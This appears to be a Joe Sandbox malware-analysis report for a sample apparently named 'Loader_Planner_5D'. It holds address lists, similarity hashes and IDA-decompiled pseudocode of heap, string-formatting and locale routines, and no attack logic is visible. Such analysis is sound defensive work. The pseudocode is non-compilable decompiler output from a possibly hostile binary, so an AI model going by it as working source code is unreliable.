0x7ff710633545
0x7ff710633552
0x7ff710633559
0x7ff710633563
0x7ff71063356b
0x7ff71063356e
0x7ff710633571
0x7ff710633576
0x7ff710633594
0x7ff71063359a
0x7ff7106335a3
0x7ff7106335af
0x7ff7106335b1
0x7ff7106335b4
0x7ff7106335bb
0x7ff7106335c2
0x7ff7106335c9
0x7ff7106335c9
0x7ff7106335cd
0x7ff7106335d7
0x7ff7106335e3
0x7ff7106335f0
0x7ff7106335f5
0x7ff7106335fb
0x7ff710633606
0x7ff710633610
0x7ff710633626
0x7ff71063362a
0x7ff710633630
0x7ff71063363e
0x7ff71063364e
0x7ff710633667
0x7ff71063366c
0x7ff710633671
0x7ff710633679
0x7ff710633682
0x7ff710633692
0x7ff7106336b6
0x7ff7106336bb
0x7ff7106336c3
0x7ff7106336ce
0x7ff7106336de
0x7ff7106336ee
0x7ff710633710
0x7ff71063371d
0x7ff71063372d
0x7ff710633747
0x7ff710633753
0x7ff71063375c
0x7ff71063376a
0x7ff71063377a
0x7ff710633793
0x7ff710633798
0x7ff71063379f
0x7ff7106337a9
0x7ff7106337ae
0x7ff7106337b4
0x7ff7106337c0
0x7ff7106337d0
0x7ff7106337ee
0x7ff7106337f6
0x7ff7106337fd
0x7ff7106337ff
0x7ff71063380a
0x7ff71063381f
0x7ff710633828
0x7ff710633834
0x7ff710633841
0x7ff71063387f

Strings

ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/, xrefs: 00007FF7106335CD

Memory Dump Source

Source File: 00000000.00000002.834676071.00007FF710621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF710620000, based on PE: true

Associated: 00000000.00000002.834670586.00007FF710620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834720430.00007FF71066C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834734490.00007FF710689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834741933.00007FF71068D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff710620000_Loader_Planner_5D.jbxd

Similarity

API ID: CriticalSection$Enter$Leave
String ID: ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/
API String ID: 2801635615-1713319389
Opcode ID: ce15a87f6f76167c31cf0ab089ce9f3358a86dda742c095fd7af577268508db4
Instruction ID: 9a432595fc021a7d71e1ed99b259e03f7f76e6c3080585dd407d61596d4e86fb
Opcode Fuzzy Hash: ce15a87f6f76167c31cf0ab089ce9f3358a86dda742c095fd7af577268508db4
Instruction Fuzzy Hash: 3F91D521A18E9681EB04EF16E4511B8A763FB95F64FC48032D65E4B799CF3DF149C360

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF710658208 Relevance: 1.3, APIs: 1, Instructions: 7
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00007FF77FF710658208(long long __rax) {
				signed int _t3;

				_t3 = GetProcessHeap();
				 *0x1068bcc8 = __rax;
				return _t3 & 0xffffff00 | __rax != 0x00000000;
			}

0x7ff71065820c
0x7ff710658215
0x7ff710658223

APIs

GetProcessHeap.KERNEL32 ref: 00007FF71065820C

Memory Dump Source

Source File: 00000000.00000002.834676071.00007FF710621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF710620000, based on PE: true

Associated: 00000000.00000002.834670586.00007FF710620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834720430.00007FF71066C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834734490.00007FF710689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834741933.00007FF71068D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff710620000_Loader_Planner_5D.jbxd

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: 52c3a2e62dd187d933a242803d2ef10298b60aea372447c21d46315acd67d71e
Instruction ID: a2d8337bb9c0c21060f12aba53b8a88b90043634b4c0391dbc806fcff9364d86
Opcode Fuzzy Hash: 52c3a2e62dd187d933a242803d2ef10298b60aea372447c21d46315acd67d71e
Instruction Fuzzy Hash: 72B09224E07F06C2EA483B666CD222462AA7F58720FD8003AC40C50320DE2C31E96720

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF710663DC8 Relevance: .6, Instructions: 626
COMMONLIBRARYCODECrypto

Download Yara Rule

C-Code - Quality: 37%

			E00007FF77FF710663DC8(intOrPtr* __rax, signed int __rbx, void* __rcx, long long __rsi, long long __rbp, long long _a8, long long _a16, long long _a24) {

				_a8 = __rbx;
				_a16 = __rbp;
				_a24 = __rsi;
				if (__rcx == 0) goto 0x10663e1e;
				_t22 = (__rbx | 0xffffffff) + 1;
				if ( *((intOrPtr*)(__rcx + ((__rbx | 0xffffffff) + 1) * 2)) != 0) goto 0x10663dea;
				0x1064d860();
				if (__rax == 0) goto 0x10663e1e;
				if (E00007FF77FF710657EEC(__rax, __rax, _t22 + 1, __rcx) != 0) goto 0x10663e35;
				goto 0x10663e20;
				return 0;
			}

0x7ff710663dc8
0x7ff710663dcd
0x7ff710663dd2
0x7ff710663de4
0x7ff710663dea
0x7ff710663df1
0x7ff710663dfa
0x7ff710663e05
0x7ff710663e17
0x7ff710663e1c
0x7ff710663e34

Memory Dump Source

Source File: 00000000.00000002.834676071.00007FF710621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF710620000, based on PE: true

Associated: 00000000.00000002.834670586.00007FF710620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834720430.00007FF71066C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834734490.00007FF710689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834741933.00007FF71068D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff710620000_Loader_Planner_5D.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 66042f22e77e0f23c08d719481e65adf0b6c4085c210ccf03d83088528d8a02c
Instruction ID: 67da773d02836272f0787b808b64dfbce679f018121ff145512f9f88dc6c945b
Opcode Fuzzy Hash: 66042f22e77e0f23c08d719481e65adf0b6c4085c210ccf03d83088528d8a02c
Instruction Fuzzy Hash: AD629125D2DE4689F253AF35A815536A336BF567E0F908333E80E77B50DF2CB54A8620

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF71064CB04 Relevance: .3, Instructions: 317
COMMONCrypto

Download Yara Rule

C-Code - Quality: 62%

			E00007FF77FF71064CB04(void* __edi, long long __rbx, void* __rcx, void* __rdx, long long __rdi, long long __rsi, void* __r8, void* __r10, long long _a16, long long _a24, long long _a32) {
				void* _v40;
				signed int _v56;
				char _v68;
				char _v70;
				signed int _v72;
				long long _v88;
				void* __rbp;
				intOrPtr _t108;
				void* _t111;
				void* _t140;
				unsigned int _t147;
				signed char _t148;
				unsigned int _t153;
				signed int _t159;
				void* _t169;
				void* _t172;
				void* _t173;
				signed long long _t231;
				void* _t247;
				intOrPtr* _t252;
				intOrPtr* _t256;
				void* _t260;
				void* _t261;
				intOrPtr _t264;
				intOrPtr _t268;
				signed int* _t270;
				void* _t274;
				void* _t275;
				void* _t278;
				intOrPtr _t279;
				void* _t287;
				intOrPtr* _t288;

				_t278 = __r8;
				_t272 = __rsi;
				_t260 = __rdx;
				_t169 = __edi;
				_a16 = __rbx;
				_a24 = __rsi;
				_a32 = __rdi;
				_t274 = _t275;
				_t231 =  *0x10689010; // 0xafe3859a1ce3
				_v56 = _t231 ^ _t275 - 0x00000050;
				_t108 =  *((intOrPtr*)(__rcx + 0x39));
				_t247 = __rcx;
				r13d = 1;
				dil = 0x78;
				sil = 0x58;
				r14b = 0x41;
				_t173 = _t108 - 0x64;
				if (_t173 > 0) goto 0x1064cba7;
				if (_t173 == 0) goto 0x1064cc0a;
				if (_t108 == r14b) goto 0x1064cc17;
				if (_t108 == 0x43) goto 0x1064cb8a;
				if (_t108 - 0x44 <= 0) goto 0x1064cc20;
				if (_t108 - 0x47 <= 0) goto 0x1064cc17;
				if (_t108 == 0x53) goto 0x1064cbcc;
				if (_t108 == sil) goto 0x1064cb9d;
				if (_t108 == 0x5a) goto 0x1064cb96;
				if (_t108 == 0x61) goto 0x1064cc17;
				if (_t108 != 0x63) goto 0x1064cc20;
				E00007FF77FF71064D194(_t108, _t108 - 0x63, __rcx);
				goto 0x1064cc1c;
				E00007FF77FF71064CED0(__rcx);
				goto 0x1064cc1c;
				_t111 = E00007FF77FF71064BFA8(r13b, __rcx, __rcx, _t260, __rsi, _t274, _t278, __r10);
				goto 0x1064cc1c;
				if (_t111 - 0x67 <= 0) goto 0x1064cc17;
				if (_t111 == 0x69) goto 0x1064cc0a;
				if (_t111 == 0x6e) goto 0x1064cc03;
				if (_t111 == 0x6f) goto 0x1064cbe3;
				if (_t111 == 0x70) goto 0x1064cbd3;
				if (_t111 == 0x73) goto 0x1064cbcc;
				if (_t111 == 0x75) goto 0x1064cc0e;
				if (_t111 != dil) goto 0x1064cc20;
				goto 0x1064cba0;
				E00007FF77FF71064D30C(__rcx);
				goto 0x1064cc1c;
				 *((intOrPtr*)(__rcx + 0x30)) = 0x10;
				 *((intOrPtr*)(__rcx + 0x34)) = 0xb;
				goto 0x1064cb9d;
				_t147 =  *(__rcx + 0x28);
				if ((r13b & _t147 >> 0x00000005) == 0) goto 0x1064cbf7;
				asm("bts ecx, 0x7");
				 *(__rcx + 0x28) = _t147;
				E00007FF77FF71064BBD8(0, __rcx, __rcx, _t260, _t272, _t274, _t278, __r10);
				goto 0x1064cc1c;
				E00007FF77FF71064D258(__rcx, __rcx);
				goto 0x1064cc1c;
				 *(__rcx + 0x28) =  *(__rcx + 0x28) | 0x00000010;
				E00007FF77FF71064BDC0(0, __rcx, __rcx, _t260, _t272, _t274, _t278, __r10);
				goto 0x1064cc1c;
				if (E00007FF77FF71064CF48(0, _t169, __rcx, __rcx, _t272, _t274) != 0) goto 0x1064cc27;
				goto 0x1064cea6;
				if ( *((char*)(__rcx + 0x38)) != 0) goto 0x1064cea3;
				_t148 =  *(__rcx + 0x28);
				_v72 = 0;
				_v70 = 0;
				if ((r13b & 0) == 0) goto 0x1064cc74;
				if ((r13b & 0) == 0) goto 0x1064cc59;
				_v72 = 0x2d;
				goto 0x1064cc71;
				if ((r13b & _t148) == 0) goto 0x1064cc64;
				_v72 = 0x2b;
				goto 0x1064cc71;
				if ((r13b & 0) == 0) goto 0x1064cc74;
				_v72 = 0x20;
				_t261 = _t287;
				r8b =  *((intOrPtr*)(__rcx + 0x39));
				if ((r8b - sil & 0x000000df) != 0) goto 0x1064cc91;
				if ((r13b & _t148 >> 0x00000005) == 0) goto 0x1064cc91;
				r9b = r13b;
				goto 0x1064cc94;
				r9b = 0;
				if (r9b != 0) goto 0x1064cca8;
				if ((r8b - r14b & 0xffffff00 | (r8b - r14b & 0x000000df) == 0x00000000) == 0) goto 0x1064ccc3;
				 *((char*)(_t274 + _t261 - 0x20)) = 0x30;
				if (r8b == sil) goto 0x1064ccb7;
				if (r8b != r14b) goto 0x1064ccba;
				dil = sil;
				 *((intOrPtr*)(_t274 + _t261 - 0x1f)) = dil;
				_t172 =  *((intOrPtr*)(__rcx + 0x2c)) -  *((intOrPtr*)(__rcx + 0x48));
				if ((_t148 & 0x0000000c) != 0) goto 0x1064cd2f;
				r9d = 0;
				if (_t172 <= 0) goto 0x1064cd2f;
				_t279 =  *((intOrPtr*)(__rcx + 0x460));
				if ( *((intOrPtr*)(_t279 + 0x10)) !=  *((intOrPtr*)(_t279 + 8))) goto 0x1064ccfe;
				if ( *((char*)(_t279 + 0x18)) == 0) goto 0x1064ccf6;
				goto 0x1064ccf9;
				 *(__rcx + 0x20) =  *(__rcx + 0x20) + 0x00000001 | 0xffffffff;
				goto 0x1064cd22;
				 *(__rcx + 0x20) = __rcx + 1;
				 *((intOrPtr*)(_t279 + 0x10)) =  *((intOrPtr*)(_t279 + 0x10)) + _t287;
				 *((char*)( *((intOrPtr*)( *((intOrPtr*)(__rcx + 0x460)))))) = 0x20;
				 *((intOrPtr*)( *((intOrPtr*)(__rcx + 0x460)))) =  *((intOrPtr*)( *((intOrPtr*)(__rcx + 0x460)))) + _t287;
				if ( *(__rcx + 0x20) == 0xffffffff) goto 0x1064cd2f;
				r9d = r9d + r13d;
				if (r9d - _t172 < 0) goto 0x1064ccda;
				_t60 = _t247 + 0x20; // 0x98
				_t270 = _t60;
				r8d = 0;
				_v88 =  *((intOrPtr*)(__rcx + 8));
				_t62 = _t247 + 0x460; // 0x4d8
				_t288 = _t62;
				_t252 = _t288;
				E00007FF77FF71064D3A4(__rcx + 1, _t169, _t172, __rcx, _t252, _t270, _t272, _t274, _t270);
				_t153 =  *(__rcx + 0x28);
				if ((r13b & _t153 >> 0x00000003) == 0) goto 0x1064cdb8;
				if ((r13b & _t153 >> 0x00000002) != 0) goto 0x1064cdb8;
				r8d = 0;
				if (_t172 <= 0) goto 0x1064cdb8;
				_t264 =  *_t288;
				if ( *((intOrPtr*)(_t264 + 0x10)) !=  *((intOrPtr*)(_t264 + 8))) goto 0x1064cd91;
				if ( *((char*)(_t264 + 0x18)) == 0) goto 0x1064cd8a;
				goto 0x1064cd8d;
				 *_t270 =  *_t270 + 0x00000001 | 0xffffffff;
				goto 0x1064cdab;
				 *_t270 = _t252 + 1;
				 *((intOrPtr*)(_t264 + 0x10)) =  *((intOrPtr*)(_t264 + 0x10)) + _t287;
				 *((char*)( *((intOrPtr*)( *_t288)))) = 0x30;
				 *((intOrPtr*)( *_t288)) =  *((intOrPtr*)( *_t288)) + _t287;
				if ( *_t270 == 0xffffffff) goto 0x1064cdb8;
				r8d = r8d + r13d;
				if (r8d - _t172 < 0) goto 0x1064cd73;
				if ( *((char*)(__rcx + 0x4c)) == 0) goto 0x1064ce2a;
				if ( *((intOrPtr*)(__rcx + 0x48)) <= 0) goto 0x1064ce2a;
				r14d = 0;
				_t79 =  &_v68; // -27
				r9d =  *( *(__rcx + 0x40)) & 0x0000ffff;
				_t80 =  &_v72; // -31
				_v72 = _v72 & 0x00000000;
				r8d = 6;
				_v88 =  *((intOrPtr*)(__rcx + 8));
				if (E00007FF77FF710655828( *((intOrPtr*)(__rcx + 8)), __rcx, _t80, _t79, _t274, _t279) != 0) goto 0x1064ce25;
				r8d = _v72;
				if (r8d == 0) goto 0x1064ce25;
				_v88 =  *((intOrPtr*)(_t247 + 8));
				_t140 = E00007FF77FF71064D3A4(_t139, _t169, _t172, _t247, _t288, _t270, _t272, _t274, _t270);
				r14d = r14d + r13d;
				if (r14d !=  *(_t247 + 0x48)) goto 0x1064cdcb;
				goto 0x1064ce46;
				 *_t270 =  *_t270 | 0xffffffff;
				goto 0x1064ce46;
				r8d =  *(_t247 + 0x48);
				_t256 = _t288;
				_v88 =  *((intOrPtr*)(_t247 + 8));
				E00007FF77FF71064D3A4(_t140, _t169, _t172, _t247, _t256, _t270, _t272, _t274, _t270);
				_t159 =  *_t270;
				if (_t159 < 0) goto 0x1064cea3;
				if ((r13b &  *(_t247 + 0x28) >> 0x00000002) == 0) goto 0x1064cea3;
				r8d = 0;
				if (_t172 <= 0) goto 0x1064cea3;
				_t268 =  *_t288;
				if ( *((intOrPtr*)(_t268 + 0x10)) !=  *((intOrPtr*)(_t268 + 8))) goto 0x1064ce7c;
				if ( *((char*)(_t268 + 0x18)) == 0) goto 0x1064ce75;
				goto 0x1064ce78;
				 *_t270 = _t159 + 0x00000001 | 0xffffffff;
				goto 0x1064ce96;
				 *_t270 = _t256 + 1;
				 *((intOrPtr*)(_t268 + 0x10)) =  *((intOrPtr*)(_t268 + 0x10)) + _t287;
				 *((char*)( *((intOrPtr*)( *_t288)))) = 0x20;
				 *((intOrPtr*)( *_t288)) =  *((intOrPtr*)( *_t288)) + _t287;
				if ( *_t270 == 0xffffffff) goto 0x1064cea3;
				r8d = r8d + r13d;
				if (r8d - _t172 < 0) goto 0x1064ce5e;
				return E00007FF77FF710641DF0(r13b,  *_t270, _v56 ^ _t275 - 0x00000050);
			}

0x7ff71064cb04
0x7ff71064cb04
0x7ff71064cb04
0x7ff71064cb04
0x7ff71064cb04
0x7ff71064cb09
0x7ff71064cb0e
0x7ff71064cb1c
0x7ff71064cb23
0x7ff71064cb2d
0x7ff71064cb31
0x7ff71064cb34
0x7ff71064cb37
0x7ff71064cb3d
0x7ff71064cb40
0x7ff71064cb43
0x7ff71064cb46
0x7ff71064cb48
0x7ff71064cb4a
0x7ff71064cb53
0x7ff71064cb5b
0x7ff71064cb5f
0x7ff71064cb67
0x7ff71064cb6f
0x7ff71064cb74
0x7ff71064cb78
0x7ff71064cb7c
0x7ff71064cb84
0x7ff71064cb8c
0x7ff71064cb91
0x7ff71064cb96
0x7ff71064cb9b
0x7ff71064cba0
0x7ff71064cba5
0x7ff71064cba9
0x7ff71064cbad
0x7ff71064cbb1
0x7ff71064cbb5
0x7ff71064cbb9
0x7ff71064cbbd
0x7ff71064cbc1
0x7ff71064cbc6
0x7ff71064cbca
0x7ff71064cbcc
0x7ff71064cbd1
0x7ff71064cbd3
0x7ff71064cbda
0x7ff71064cbe1
0x7ff71064cbe3
0x7ff71064cbee
0x7ff71064cbf0
0x7ff71064cbf4
0x7ff71064cbfc
0x7ff71064cc01
0x7ff71064cc03
0x7ff71064cc08
0x7ff71064cc0a
0x7ff71064cc10
0x7ff71064cc15
0x7ff71064cc1e
0x7ff71064cc22
0x7ff71064cc2b
0x7ff71064cc31
0x7ff71064cc36
0x7ff71064cc3c
0x7ff71064cc47
0x7ff71064cc51
0x7ff71064cc53
0x7ff71064cc57
0x7ff71064cc5c
0x7ff71064cc5e
0x7ff71064cc62
0x7ff71064cc6b
0x7ff71064cc6d
0x7ff71064cc71
0x7ff71064cc74
0x7ff71064cc80
0x7ff71064cc8a
0x7ff71064cc8c
0x7ff71064cc8f
0x7ff71064cc91
0x7ff71064cca2
0x7ff71064cca6
0x7ff71064cca8
0x7ff71064ccb0
0x7ff71064ccb5
0x7ff71064ccb7
0x7ff71064ccba
0x7ff71064ccc8
0x7ff71064ccce
0x7ff71064ccd0
0x7ff71064ccd5
0x7ff71064ccda
0x7ff71064cce9
0x7ff71064ccf0
0x7ff71064ccf4
0x7ff71064ccf9
0x7ff71064ccfc
0x7ff71064cd01
0x7ff71064cd04
0x7ff71064cd12
0x7ff71064cd1c
0x7ff71064cd25
0x7ff71064cd27
0x7ff71064cd2d
0x7ff71064cd33
0x7ff71064cd33
0x7ff71064cd37
0x7ff71064cd3a
0x7ff71064cd3f
0x7ff71064cd3f
0x7ff71064cd49
0x7ff71064cd50
0x7ff71064cd55
0x7ff71064cd60
0x7ff71064cd68
0x7ff71064cd6a
0x7ff71064cd6f
0x7ff71064cd73
0x7ff71064cd7e
0x7ff71064cd84
0x7ff71064cd88
0x7ff71064cd8d
0x7ff71064cd8f
0x7ff71064cd94
0x7ff71064cd96
0x7ff71064cda0
0x7ff71064cda6
0x7ff71064cdae
0x7ff71064cdb0
0x7ff71064cdb6
0x7ff71064cdbc
0x7ff71064cdc2
0x7ff71064cdc8
0x7ff71064cdcf
0x7ff71064cdd3
0x7ff71064cdd8
0x7ff71064cddc
0x7ff71064cde5
0x7ff71064cdeb
0x7ff71064cdf7
0x7ff71064cdf9
0x7ff71064ce00
0x7ff71064ce0d
0x7ff71064ce15
0x7ff71064ce1a
0x7ff71064ce21
0x7ff71064ce23
0x7ff71064ce25
0x7ff71064ce28
0x7ff71064ce31
0x7ff71064ce35
0x7ff71064ce3c
0x7ff71064ce41
0x7ff71064ce46
0x7ff71064ce4a
0x7ff71064ce55
0x7ff71064ce57
0x7ff71064ce5c
0x7ff71064ce5e
0x7ff71064ce69
0x7ff71064ce6f
0x7ff71064ce73
0x7ff71064ce78
0x7ff71064ce7a
0x7ff71064ce7f
0x7ff71064ce81
0x7ff71064ce8b
0x7ff71064ce91
0x7ff71064ce99
0x7ff71064ce9b
0x7ff71064cea1
0x7ff71064cecf

Memory Dump Source

Source File: 00000000.00000002.834676071.00007FF710621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF710620000, based on PE: true

Associated: 00000000.00000002.834670586.00007FF710620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834720430.00007FF71066C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834734490.00007FF710689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834741933.00007FF71068D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff710620000_Loader_Planner_5D.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cb7c772267534e8e862a069a05ee92f7da91f1bfd69484b5af227b9a0c5bd5e6
Instruction ID: 9759c0434db00854309cf6e2d8d97f34cec8685d9b7044d28e5519d315121c0d
Opcode Fuzzy Hash: cb7c772267534e8e862a069a05ee92f7da91f1bfd69484b5af227b9a0c5bd5e6
Instruction Fuzzy Hash: 8ED1C932D08E4A85EBA4AB29804027DA7E2EF45B78F940135DE4D873D9CF39F44AD760

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF71064EF4C Relevance: .3, Instructions: 309
COMMONLIBRARYCODECrypto

Download Yara Rule

C-Code - Quality: 100%

			E00007FF77FF71064EF4C(void* __rcx, long long __rdx, long long __r8, void* __r9) {
				void* _t12;
				signed long long _t15;
				void* _t25;
				void* _t26;
				signed long long _t27;

				_t25 = _t26 - 0x168;
				_t27 = _t26 - 0x268;
				_t15 =  *0x10689010; // 0xafe3859a1ce3
				 *(_t25 + 0x150) = _t15 ^ _t27;
				r15d = 0;
				 *((long long*)(_t27 + 0x70)) = __r8;
				 *((long long*)(_t27 + 0x78)) = __rdx;
				 *((long long*)(_t27 + 0x30)) =  *((intOrPtr*)(_t25 + 0x1d0));
				 *((long long*)(_t27 + 0x68)) =  *((intOrPtr*)(_t25 + 0x1d8));
				if (__rcx != 0) goto 0x1064efd4;
				return E00007FF77FF710641DF0(0, _t12,  *(_t25 + 0x150) ^ _t27);
			}

0x7ff71064ef59
0x7ff71064ef61
0x7ff71064ef68
0x7ff71064ef72
0x7ff71064ef80
0x7ff71064ef8d
0x7ff71064ef95
0x7ff71064ef9d
0x7ff71064efa5
0x7ff71064efad
0x7ff71064efd3

Memory Dump Source

Source File: 00000000.00000002.834676071.00007FF710621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF710620000, based on PE: true

Associated: 00000000.00000002.834670586.00007FF710620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834720430.00007FF71066C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834734490.00007FF710689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834741933.00007FF71068D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff710620000_Loader_Planner_5D.jbxd

Similarity

API ID: ErrorLastNameTranslate$CodePageValidValue_invalid_parameter_noinfo
String ID:
API String ID: 4023145424-0
Opcode ID: 85ea5b2c2d8a30263970a5095758f16001b012c01dad6e7fcfe85f67498ee0b0
Instruction ID: 0ff3b288af69e7716de5d03575d429cbb3f18c4b7f80e12e1eb65f7489ca3ccb
Opcode Fuzzy Hash: 85ea5b2c2d8a30263970a5095758f16001b012c01dad6e7fcfe85f67498ee0b0
Instruction Fuzzy Hash: 7AC1B935A08A8285EB60AF61D8147BAA7A2FB947D8FC04035DE4DC7799DE3CF549C710

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF71065ABE4 Relevance: .3, Instructions: 272
COMMONCrypto

Download Yara Rule

C-Code - Quality: 67%

			E00007FF77FF71065ABE4(void* __ecx, signed int __edx, void* __eflags, long long __rbx, void* __rcx, void* __rdx, long long __rbp, void* __r9, void* __r10, long long _a16, long long _a24) {
				void* _v24;
				signed int _v40;
				char _v168;
				void* __rsi;
				void* _t70;
				unsigned int _t83;
				unsigned int _t86;
				signed char _t97;
				signed int _t99;
				void* _t110;
				signed long long _t145;
				signed long long _t146;
				long long _t150;
				void* _t178;
				signed long long _t180;
				signed long long _t181;
				signed long long _t182;
				signed long long _t183;
				void* _t185;
				void* _t188;
				signed short* _t205;
				void* _t207;
				void* _t209;

				_t207 = __r10;
				_t186 = __rbp;
				_t110 = __eflags;
				_t99 = __edx;
				_a16 = __rbx;
				_a24 = __rbp;
				_t145 =  *0x10689010; // 0xafe3859a1ce3
				_t146 = _t145 ^ _t188 - 0x000000c0;
				_v40 = _t146;
				_t185 = __rcx;
				E00007FF77FF710650904(_t146, __rbx, __rdx, __rcx);
				r9d = 0x40;
				_t5 = _t146 + 0x98; // 0x98
				_t150 = _t5;
				asm("sbb edx, edx");
				if (E00007FF77FF710652874((_t99 & 0xfffff005) + 0x1002, _t110, _t146, _t150, _t185, _t185, __rbp,  &_v168) != 0) goto 0x1065ac53;
				 *(_t150 + 0x10) = 0;
				goto 0x1065ae91;
				_t70 = E00007FF77FF71065EF4C(_t146,  *((intOrPtr*)(_t150 + 8)));
				_t181 = _t180 | 0xffffffff;
				r13d = _t181 + 0x56;
				if (_t70 != 0) goto 0x1065ad1a;
				r9d = _t181 + 0x41;
				asm("sbb edx, edx");
				if (E00007FF77FF710652874(((_t99 & 0xfffff005) + 0x00001002 & 0xfffff002) + 0x1001, _t70, _t146, _t150, _t185, _t185, _t186,  &_v168) == 0) goto 0x1065ac46;
				if (E00007FF77FF71065EF4C(_t146,  *_t150) != 0) goto 0x1065acc5;
				_t97 =  *(_t150 + 0x10) | 0x00000304;
				 *(_t150 + 0x10) = _t97;
				if ( *((intOrPtr*)(_t185 + (_t181 + 1) * 2)) != 0) goto 0x1065acb9;
				goto 0x1065acfd;
				if ((_t97 & 0x00000002) != 0) goto 0x1065ad1a;
				if ( *((intOrPtr*)(_t150 + 0x14)) == 0) goto 0x1065ada3;
				if (E00007FF77FF71065F108(_t146,  *_t150) != 0) goto 0x1065ada3;
				 *(_t150 + 0x10) =  *(_t150 + 0x10) | 0x00000002;
				if ( *((intOrPtr*)(_t185 + (_t181 + 1) * 2)) != 0) goto 0x1065acf3;
				_t28 = _t150 + 0x258; // 0x2f0
				if (E00007FF77FF7106586A8(_t146, _t150, _t28, _t209, _t185, _t185, _t181 + 2) != 0) goto 0x1065aeb9;
				if (( *(_t150 + 0x10) & 0x00000300) == 0x300) goto 0x1065ae86;
				r9d = 0x40;
				asm("sbb edx, edx");
				if (E00007FF77FF710652874((((_t99 & 0xfffff005) + 0x00001002 & 0xfffff002) + 0x00001001 & 0xfffff002) + 0x1001, ( *(_t150 + 0x10) & 0x00000300) - 0x300, _t146, _t150, _t185, _t185, _t186,  &_v168) == 0) goto 0x1065ac46;
				if (E00007FF77FF71065EF4C(_t146,  *_t150) != 0) goto 0x1065ae86;
				_t83 =  *(_t150 + 0x10);
				asm("bts eax, 0x9");
				 *(_t150 + 0x10) = _t83;
				if ( *((intOrPtr*)(_t150 + 0x18)) == 0) goto 0x1065add3;
				asm("bts eax, 0x8");
				_t36 = _t150 + 0x258; // 0x2f0
				 *(_t150 + 0x10) = _t83;
				if ( *_t36 != 0) goto 0x1065ae86;
				_t182 = _t181 + 1;
				if ( *((intOrPtr*)(_t185 + _t182 * 2)) != 0) goto 0x1065ad95;
				goto 0x1065ae73;
				if (( *(_t150 + 0x10) & 0x00000001) != 0) goto 0x1065ad1a;
				if (E00007FF77FF71065B088(0x300,  *(_t150 + 0x10) & 0x00000001, _t185,  &_v168, _t185, _t186, _t181 + 2, _t207) == 0) goto 0x1065ad1a;
				 *(_t150 + 0x10) =  *(_t150 + 0x10) | 0x00000001;
				if ( *((intOrPtr*)(_t185 + (_t182 + 1) * 2)) != 0) goto 0x1065adc4;
				goto 0x1065acfd;
				if ( *((intOrPtr*)(_t150 + 0x14)) == 0) goto 0x1065ae57;
				_t178 =  *_t150;
				if ( *((intOrPtr*)(_t178 + (_t182 + 1) * 2)) != 0) goto 0x1065adde;
				if (0x300 !=  *((intOrPtr*)(_t150 + 0x14))) goto 0x1065ae57;
				if (E00007FF77FF71065B088(0x300, 0x300 -  *((intOrPtr*)(_t150 + 0x14)), _t185, _t178, _t185, _t186, _t182 + 1, _t207) != 0) goto 0x1065ae3b;
				_t205 =  *_t150;
				r8d = 0;
				if (_t205 == 0) goto 0x1065ae29;
				_t86 = _t178 - 0x41;
				if (_t86 - 0x19 <= 0) goto 0x1065ae21;
				if (( *_t205 & 0x0000ffff) - 0x61 - 0x19 > 0) goto 0x1065ae29;
				r8d = r8d + 1;
				goto 0x1065ae0a;
				if (_t205[_t182 + 1] != 0) goto 0x1065ae2c;
				if (r8d == _t86) goto 0x1065ae86;
				asm("bts dword [ebx+0x10], 0x8");
				_t54 = _t150 + 0x258; // 0x2f0
				if ( *_t54 != 0) goto 0x1065ae86;
				_t183 = _t182 + 1;
				if ( *((intOrPtr*)(_t185 + _t183 * 2)) != 0) goto 0x1065ae4c;
				goto 0x1065ae73;
				asm("bts eax, 0x8");
				_t57 = _t150 + 0x258; // 0x2f0
				 *(_t150 + 0x10) = _t86;
				if ( *_t57 != 0) goto 0x1065ae86;
				if ( *((intOrPtr*)(_t185 + (_t183 + 1) * 2)) != 0) goto 0x1065ae6a;
				if (E00007FF77FF7106586A8(_t182 + 1, _t150, _t57, _t209, _t185, _t185, _t183 + 2) != 0) goto 0x1065aeb9;
